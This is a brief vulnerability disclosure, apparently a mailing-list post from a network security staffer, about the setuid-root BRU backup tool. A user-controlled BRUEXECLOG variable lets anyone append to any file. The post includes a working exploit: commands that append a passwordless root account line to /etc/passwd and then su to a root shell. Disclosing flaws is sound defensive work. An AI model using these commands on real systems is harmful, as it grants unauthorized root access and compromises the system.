BRU Vulnerability

[comsec.admin () GTE NET (root)]

We have found a vulnerability in BRU during our 'Security Contest' for
our company.

The details are included.


--

Riley Hassell
Network Security
Speakeasy Networks

1-206-728-9770 ext151

1-206-917-5151 Direct Line




BRU backup software Vulnerability:

        Description:
                You can change the log file BRU uses by changing the
                BRUEXECLOG environment variable. Since bru is setuid
                root you can append to any file on the system.

        Exploitation:

                $ BRUEXECLOG=/etc/passwd
                $ export BRUEXECLOG
                $ bru -V '
                > comsec::0:0::/:/bin/sh
                > '
                $ su comsec
                #

        Temporary fix:
                Why do normal users need to run bru. ;)